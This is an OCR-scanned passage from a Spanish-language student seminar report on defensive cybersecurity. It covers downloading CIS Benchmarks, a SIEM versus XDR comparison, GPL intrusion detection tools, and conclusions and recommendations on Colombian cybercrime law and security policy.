benchmarks#:~:text=L0s%20puntos%20de%20referencia%20de%20CI1S%20s0n%20una%20recopilaci%
C3%B3n%20de,redes%20e%20infraestructura%20de%20nube
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profesionales en ciberseguridad y expertos de todo el mundo y esta organizacion fue

creada en el afio 2000.

De acuerdo con Bielma?®, la funcién que cumplen los CIS en los equipos Blue team es
importante, ya que estas referencias son estandares que proporcionan directrices que
mejoran la seguridad en una empresa u organizacion.

Tutorial funcionamiento CIS

Los puntos de referencia CIS se encuentran disponibles en internet para descargarlos

gratuitamente.

1) Lo primero es entrar a la pagina web del CIS. Alli, se da clic en el botén naranja

Dowload Benchmarks situado en la parte inferior izquierda.

Figura 42. Pagina inicial CIS

(_\ CIS Hardened Images @ Support®™  CIS WorkBench Sign In & _
Center for
Internet Securlty /()
onnected World COMPANY ~  SOLUTIONS~  INSIGHTS ¥ JOINCIS v

CIS Benchmarks

C | S BeﬂCh ma rks |—|St Find the CIS Benchmark you're looking for

Select your technology.

Choose from operating systems, cloud providers,
network devices, and more.

DOWNLOAD BENCHMARKS —>

Fuente: CIS Benchmarks

15 BIELMA, Cristian. [en linea]. Capacidades técnicas, legales y de gestion para equipos Blue team y Red
team. Universidad Nacional Abierta y a Distancia UNAD, 2017. [Consultado 25 marzo 2024]. Disponible
en:
https://repository.unad.edu.co/bitstream/handle/10596/11943/1053323761.pdf?sequence=1&isAllowed=y
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2) En la pantalla se muestra un formulario para descargar los documentos en pdf de

CIS gratuitamente, es necesario completar este formulario en linea.

Figura 43: Descarga CIS Benchmarks
ﬁ Center for

IntpmetS«nmy
@ CIs Benchmarks ) . PUNTOS DE REFERENCIA GRATIS
Descargue nuestros archivos PDF de referencia

. Complete el formulario a continuacidn y
g ratu |tOS obtenga acceso a TODOS nuestros

Los CIS Benchmarks se distribuyen de forma gratuita en formato PDF para uso no comercial con el fin R S AN T S I

de propagar su uso y adopcién en todo el mundoe como estdndares de facto eriginados por los
usuarios. CIS Baenchmarks son las Unicas guias de configuracion de sequridad de mejores practicas
basadas en el consenso desarrolladas y aceptadas por el gobierno, las empresas, la industria y el

gratuito y no comercial.

Nombre de pila *

Apellido *

Organizacion *

mundo académico.

ihution Independsst Linux

Sector®

‘ v |

Role *

Vea nuestra extensa lista de puntos de referencia: | | v

Fuente: CIS Center for Internet Security
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Al emalil registrado llegara un correo en donde se podra acceder a los PDF.

Figura 44. PDF CIS BenchMark

Microsoft Windows Desktop

CIS Microsoft Windows 10 Stand-alone Benchmark v2.0.0 Download PDF
CIS Microsoft Windows 11 Enterprise Benchmark v3.0.0 Download PDF
CIS Microsoft Windows 10 Enterprise Benchmark v3.0.0 Download PDF
CIS Microsoft Windows 10 EMS Gateway Benchmark v2.0.0 Download PDF
CIS Microsoft Windows 11 Stand-alone Benchmark v2.0.0 Download PDF
CIS Microsoft Windows 10 Enterprise Benchmark v2.0.0 Download PDE

CIS Microsoft Windows 8.1 Workstation Benchmark v2.4.0 Download PDF

Fuente: CIS

2.45 SIEM - XDR

Figura 45. SIEM vs XDR

Tabla cwarativa .

~ e
= SIEM KR =
« Gestor deinformacién y de eventos de seguridad. Es una « Deteccion y respuesta extendidas. Supervisa y mitiga las
solucion de seguridad que apoya a las organizaciones a amenazas de ciberseguridad en las organizaciones.

reconocer y abordar amenazas y vulnerabilidades.
Se centraen la deteccion y en la respuestaa
vulnerabilidades y amenzas en redes, aplicaciones, sistemas
y endpoints.

Se centra en recopilar y analizar procipalmente registros y
eventos de seguridad.

« Emplea y aprovecha gran varuedad de fuentes de datos
como son registros, endpoint, red, correo para entregar una
vision mucho mas completa

Principalmente usa registros, eventos de seguridad y
fuentes de datos

« Se basa en reglas definidas para la deteccion de amenazas . . ’
Usa metodos avanzados de analisis, machine learning y

ue son conacidas - .
4 deteccion de amenazas basadas en comportamientos.

Fuente: creacién propia
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2.4.6 Herramientas de deteccién GPL

Figura 46. Herramientas deteccion

Herramientas deteccion ataques GPL

Distribucién de Linux disefiada
para la deteccion de amenzas
de seguridad y gestién de logs.

- Sistema de detecci6n de
intrusos IDS, libre y gratuito.
Ultima versién: 3.7.70.0 con
licencia GPLv2

Sistema de deteccnén de
intrusos IDS y sistema de
prevencién de intrusiones IPS
Ultima versién: 7.0.4

- Desarrollado por Cisco
Systems en 1998.

Desarrollado por Open
Information Security
Foundation OISF en 2009

Desarrollado por Doug Burks
en 2008.

Basado en Ubuntu.
Proporciona alta visibilidad
respecto al trafico de la red,
alertas y sospechas.

~ Su principal ventaja es que
puede analizar trafico en
 tiempo real y registra
paquetes de redes.

Detecta intrusiones en tiempo
real, ademas de monitorear la
red. Programado en C. Captura
el trafico que pasa en un flujo
antes de la decodificacién.

Fuente: creacion propia
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3 CONCLUSIONES

Mediante el desarrollo de las etapas del seminario se concluyé que es necesario
e importante que todas las organizaciones conozcan la normatividad vigente de
los delitos informaticos en Colombia, ya que el conocimiento de las mismas le
permitird blindarse juridicamente en caso de algun ataque informatico o para evitar

incurrir en alguno de estos delitos.

Se reflejo la importancia de implementar estrategias de prevencion y correccion
relacionadas a la seguridad de la informacion para evitar y prevenir amenazas
informaticas, ya que al realizar la gestion de los riesgos a los que se enfrentan en
la actualidad las organizaciones estas puedan identificar, evaluar y reducir los

riesgos de sus activos.

Se evidencid la necesidad de que las organizaciones definan politicas de
seguridad, mediante un documento que establezca los lineamientos para

proteger los datos y en donde se minimicen los riesgos
Se concluy6 que es necesario realizar evaluaciones proactivas de seguridad en

donde se identifiquen y mitiguen amenazas y vulnerabilidades que puedan ser

explotadas.
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4 RECOMENDACIONES

e Conocer a profundidad las leyes y normatividad de los delitos informéticos en
Colombia, debido a que es una obligacion de las organizaciones preservar y
garantizar la confidencialidad de los datos personales de sus clientes, empleados

y proveedores, ya que mala custodia puede provocar la filtracion de informacion.

e Incentivar a la colaboracion entre equipos Red, Blue y Purple Team con el fin de

afianzar y mejorar la ciberseguridad en las organizaciones.
e Definir un documento donde se establezcan las politicas de seguridad de los datos

para proteger la informacion y para que se minimicen los riesgos y peligros a los

gue puede estar expuesta la informacion.
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6 ANEXOS

ANEXO A Enlace video sustentacion https://youtu.be/Q-srQWZ9rMo

ANEXO B Resultado porcentaje Turnitin https://unadvirtualedu-

my.sharepoint.com/:i:/g/personal/jaromanij unadvirtual edu co/EaY1D600X pEpBH1k
Ch3 70Bz720Q3kkfl1 nUit1OpuNrw?e=DXLumo
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